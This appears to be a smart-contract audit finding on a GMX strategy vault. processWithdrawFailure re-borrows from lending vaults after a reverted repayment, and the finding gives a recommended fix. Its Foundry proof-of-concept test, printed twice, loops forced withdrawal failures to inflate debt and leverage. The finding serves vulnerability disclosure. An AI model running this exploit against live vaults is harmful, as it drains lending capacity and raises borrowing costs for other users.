try-catch does not store the state when it is reverted
If a withdrawal from GMX is successful without any errors, the borrowed amount is repayed to the lending vaults within a try-catch block within the processWithdraw function. Subsequently, the afterWithdrawChecks are performed. If a revert occurs during this step, everything executed within the try-catch block is reseted, and the Vault's status is set to 'Withdraw_Failed.' In such a scenario, a Keeper must call the processWithdrawFailure function. In this case, there is an erroneous attempt to borrow from the LendingVaults again, even though the repayment never actually occurred due to the revert within the try-catch block.\\nHere is a POC that demonstrates how a user can exploit this bug by intentionally causing the afterWithdrawChecks to fail, resulting in additional borrowing from the LendingVault in the processWithdrawFailure function.\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.21;\\nimport { console, console2 } from "forge-std/Test.sol";\\nimport { TestUtils } from "../../helpers/TestUtils.sol";\\nimport { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";\\nimport { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";\\nimport { GMXTestHelper } from "./GMXTestHelper.sol";\\n\\nimport { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";\\nimport { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";\\n\\ncontract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {\\n    function test_POC1() public {\\n        //Owner deposits 1 ether in vault\\n        vm.startPrank(owner);\\n        _createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n\\n        //User1 deposits 1 ether in vault\\n        vm.startPrank(user1);\\n        _createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n        \\n        //Variables for assertion\\n        uint256 leverageBefore = vault.leverage();\\n        (,uint256 debtAmtTokenBBefore) = vault.debtAmt();\\n\\n        uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);  //Vault shares to withdraw\\n        GMXTypes.Store memory _store;\\n        for(uint256 i; i < 5; i++) {\\n            vm.startPrank(user1);\\n            //User1 tries to withdraw all of his deposits and enters an unrealistically high amount as the minWithdrawAmt (10000 ether) to intentionally make the afterWithdrawChecks fail\\n            _createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 10000 ether, SLIPPAGE, EXECUTION_FEE);\\n\\n            _store = vault.store();\\n            assert(uint256(_store.status) == uint256(GMXTypes.Status.Withdraw_Failed)); //Since the afterWithdrawChecks have failed, the Vault status is Withdraw_Failed\\n\\n            //Keeper calls processWithdrawFailure to deposit the withdrawn tokens back into GMX, mistakenly borrowing something from the LendingVaults in the process.\\n            vault.processWithdrawFailure{value: EXECUTION_FEE}(SLIPPAGE, EXECUTION_FEE);\\n            mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n            vm.stopPrank();\\n        } //The for-loop is there to demonstrate that a user can easily execute the process multiple times to increase \\n          //the debt and leverage. (The user can do it as long as the Lending Vaults have liquidity.)\\n\\n        //Variables for assertion\\n        uint256 leverageAfter = vault.leverage();\\n        (,uint256 debtAmtTokenBAfter) = vault.debtAmt();\\n\\n        //Shows that after the failed withdrawal process, debt and leverage are higher. (Token A is irrelevant as Delta is Long)\\n        assert(debtAmtTokenBAfter > debtAmtTokenBBefore);\\n        assert(leverageAfter > leverageBefore);\\n\\n        console.log("DebtAmtBefore: %s", debtAmtTokenBBefore);\\n        console.log("DebtAmtAfter: %s", debtAmtTokenBAfter);\\n        console.log("leverageBefore: %s", leverageBefore);\\n        console.log("leverageAfter: %s", leverageAfter);\\n    }\\n}\\n```\\n\\nThe PoC can be started with this command: `forge test --match-test test_POC1 -vv`
In processWithdrawFailure, no more borrowing should occur:\\n```\\nFile: contracts/strategy/gmx/GMXWithdraw.sol#processWithdrawFailure\\nGMXManager.borrow(\\n      self,\\n      self.withdrawCache.repayParams.repayTokenAAmt,\\n      self.withdrawCache.repayParams.repayTokenBAmt\\n);\\n```\\n\\nThese lines of code should be deleted
Users can intentionally deplete the capacity of a lending vault to increase the leverage of a vault. This also results in lending vaults having no capacity left for new deposits. As a result, the utilization rate increases significantly, leading to higher borrowing costs.
```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.21;\\nimport { console, console2 } from "forge-std/Test.sol";\\nimport { TestUtils } from "../../helpers/TestUtils.sol";\\nimport { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";\\nimport { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";\\nimport { GMXTestHelper } from "./GMXTestHelper.sol";\\n\\nimport { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";\\nimport { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";\\n\\ncontract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {\\n    function test_POC1() public {\\n        //Owner deposits 1 ether in vault\\n        vm.startPrank(owner);\\n        _createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n\\n        //User1 deposits 1 ether in vault\\n        vm.startPrank(user1);\\n        _createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n        \\n        //Variables for assertion\\n        uint256 leverageBefore = vault.leverage();\\n        (,uint256 debtAmtTokenBBefore) = vault.debtAmt();\\n\\n        uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);  //Vault shares to withdraw\\n        GMXTypes.Store memory _store;\\n        for(uint256 i; i < 5; i++) {\\n            vm.startPrank(user1);\\n            //User1 tries to withdraw all of his deposits and enters an unrealistically high amount as the minWithdrawAmt (10000 ether) to intentionally make the afterWithdrawChecks fail\\n            _createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 10000 ether, SLIPPAGE, EXECUTION_FEE);\\n\\n            _store = vault.store();\\n            assert(uint256(_store.status) == uint256(GMXTypes.Status.Withdraw_Failed)); //Since the afterWithdrawChecks have failed, the Vault status is Withdraw_Failed\\n\\n            //Keeper calls processWithdrawFailure to deposit the withdrawn tokens back into GMX, mistakenly borrowing something from the LendingVaults in the process.\\n            vault.processWithdrawFailure{value: EXECUTION_FEE}(SLIPPAGE, EXECUTION_FEE);\\n            mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n            vm.stopPrank();\\n        } //The for-loop is there to demonstrate that a user can easily execute the process multiple times to increase \\n          //the debt and leverage. (The user can do it as long as the Lending Vaults have liquidity.)\\n\\n        //Variables for assertion\\n        uint256 leverageAfter = vault.leverage();\\n        (,uint256 debtAmtTokenBAfter) = vault.debtAmt();\\n\\n        //Shows that after the failed withdrawal process, debt and leverage are higher. (Token A is irrelevant as Delta is Long)\\n        assert(debtAmtTokenBAfter > debtAmtTokenBBefore);\\n        assert(leverageAfter > leverageBefore);\\n\\n        console.log("DebtAmtBefore: %s", debtAmtTokenBBefore);\\n        console.log("DebtAmtAfter: %s", debtAmtTokenBAfter);\\n        console.log("leverageBefore: %s", leverageBefore);\\n        console.log("leverageAfter: %s", leverageAfter);\\n    }\\n}\\n```\\n